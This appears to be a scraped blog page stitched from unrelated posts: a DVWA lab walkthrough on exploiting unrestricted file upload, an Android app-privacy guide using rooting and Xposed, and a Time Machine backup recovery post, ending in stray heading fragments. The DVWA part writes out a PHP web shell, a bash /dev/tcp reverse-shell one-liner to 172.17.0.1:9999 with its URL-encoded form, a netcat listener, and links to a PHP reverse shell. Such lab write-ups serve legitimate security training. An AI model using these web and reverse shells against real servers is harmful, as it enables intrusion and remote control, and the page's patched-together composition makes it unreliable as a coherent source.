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In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:

Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:

echo TESTUPLOAD > test.txt

and now upload it.

The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:

http://localhost:9000/hackable/uploads/test.txt

and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.

<?php phpinfo(); ?>

Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:

http://localhost:9000/hackable/uploads/info.php

and you should see a phpinfo page like this:

phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:

<?php system($_GET["cmd"]); ?>

save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:

http://localhost:9000/hackable/uploads/shell.php?cmd=whoami

we see a response from the server giving us the user under which the web application is running.

We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.

Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:

ifconfig docker0

the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:

bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1'

here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27

Now start a listener on host with this command:

nc -lvnp 9999

and then enter the url encoded reverse shell in the cmd parameter of the url like this:

http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27

looking back at the listener we have a reverse shell.

Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:

nc -lvnp 9999

and upload the reverse shell to the server and access it to execute our reverse shell.

That's it for today have fun.

References:

Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

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In android there is lots of personal data that can be accessed by any unauthorized apps that were installed on the device. This is just because your Android data is openly saved in your file explorer that is not encrypted or protected by encryption method, so, even normal app can also hijack your data very easily as the media access permissions are granted when you click on accept button while installing the apps. And this may be endangering the private data that you might not want to share with anyone. So here we have a cool way that will help you to make your data private by disallowing the apps to access your media files without your permission. So have a look on complete guide discussed below to proceed.

How To Protect Your Private Data From Android Apps

The method is quite simple and just need a rooted android device that will allow the Xposed installer to run on the device. And after having the Xposed installer you will be using an Xposed module to disallow the apps to have access to your personal or say private data. For this follow the guide below.

Steps To Protect Your Private Data From Android Apps:

Step 1. First of all, you need a rooted android as Xposed installer can only be installed on a rooted android, so Root your android to proceed for having superuser access on your android.

Step 2. After rooting your Android device you have to install the Xposed installer on your android and thats quite lengthy process and for that, you can proceed with our Guide to Install Xposed Installer On Android.

Step 3. Now after having an Xposed framework on your Android the only thing you need is the Xposed module that is DonkeyGuard – Security Management the app that will allow you to manage the media access for apps installed on your device.

Step 4. Now install the app on your device and after that, you need to activate the module in the Xposed installer. Now you need to reboot your device to make the module work perfectly on your device.

Step 5. Now launch the app and you will see all the apps that are currently installed on your device.

Step 6. Now edit the media permission for the apps that you don't want to have access to your media with private data.

That's it, you are done! now the app will disallow the media access to that apps.

Manually Checking App Permission

Well, our Android operating system offers a nice feature in which we can manage a single app's permission. However, you need to have Android 6.0 Marshmallow or a newer version to get the option.

Step 1. First of all, open Settings and then tap on 'Apps'.

Manually Checking App Permission

Step 2. Now you will see the list of apps that are currently installed on your Android smartphone. Now you need to select the app, and then you will see 'Permissions.'

Manually Checking App Permission

Step 3. Now it will open a new window, which will show you all permissions that you have granted to the app like Camera access, contacts, Location, microphone, etc. You can revoke any permissions as per your wish.

Manually Checking App Permission

Well, the same thing you need to perform if you feel that you have installed some suspicious app on your Android. By this way, you can protect your private data from Android apps.

Related word

Recovering data from a backup should be an easy thing to do. At least this is what you expect. Yesterday I had a problem which should have been easy to solve, but it was not. I hope this blog post can help others who face the same problem.

The problem

1. I had an encrypted Time Machine backup which was not used for months
2. This backup was not on an official Apple Time Capsule or on a USB HDD, but on a WD MyCloud NAS
3. I needed files from this backup
4. After running out of time I only had SSH access to the macOS, no GUI

The struggle

By default, Time Machine is one of the best and easiest backup solution I have seen. As long as you stick to the default use case, where you have one active backup disk, life is pink and happy. But this was not my case.

As always, I started to Google what shall I do. One of the first options recommended that I add the backup disk to Time Machine, and it will automagically show the backup snapshots from the old backup. Instead of this, it did not show the old snapshots but started to create a new backup. Panic button has been pressed, backup canceled, back to Google.

Other tutorials recommend to click on the Time Machine icon and pressing alt (Option) key, where I can choose "Browse other backup disks". But this did not list the old Time Machine backup. It did list the backup when selecting disks in Time Machine preferences, but I already tried and failed that way.

YAT (yet another tutorial) recommended to SSH into the NAS, and browse the backup disk, as it is just a simple directory where I can see all the files. But all the files inside where just a bunch of nonsense, no real directory structure.

YAT (yet another tutorial) recommended that I can just easily browse the content of the backup from the Finder by double-clicking on the sparse bundle file. After clicking on it, I can see the disk image on the left part of the Finder, attached as a new disk.
Well, this is true, but because of some bug, when you connect to the Time Capsule, you don't see the sparse bundle file. And I got inconsistent results, for the WD NAS, double-clicking on the sparse bundle did nothing. For the Time Capsule, it did work.
At this point, I had to leave the location where the backup was present, and I only had remote SSH access. You know, if you can't solve a problem, let's complicate things by restrict yourself in solutions.

Finally, I tried to check out some data forensics blogs, and besides some expensive tools, I could find the solution.

The solution

Finally, a blog post provided the real solution - hdiutil.
The best part of hdiutil is that you can provide the read-only flag to it. This can be very awesome when it comes to forensics acquisition.

To mount any NAS via SMB:

mount_smbfs afp://<username>@<NAS_IP>/<Share_for_backup> /<mountpoint>

To mount a Time Capsule share via AFP:

mount_afp afp://any_username:password@<Time_Capsule_IP>/<Share_for_backup> /<mountpoint>

And finally this command should do the job:

hdiutil attach test.sparsebundle -readonly

It is nice that you can provide read-only parameter.

If the backup was encrypted and you don't want to provide the password in a password prompt, use the following:

printf '%s' 'CorrectHorseBatteryStaple' | hdiutil attach test.sparsebundle -stdinpass -readonly

Note: if you receive the error "resource temporarily unavailable", probably another machine is backing up to the device

And now, you can find your backup disk under /Volumes. Happy restoring!

Probably it would have been quicker to either enable the remote GUI, or to physically travel to the system and login locally, but that would spoil the fun.

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среда, 31. мај 2023.

Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

References:

How To Protect Your Private Data From Android Apps

How To Protect Your Private Data From Android Apps

Steps To Protect Your Private Data From Android Apps:

Manually Checking App Permission

Recovering Data From An Old Encrypted Time Machine Backup

The problem

The struggle

The solution

More information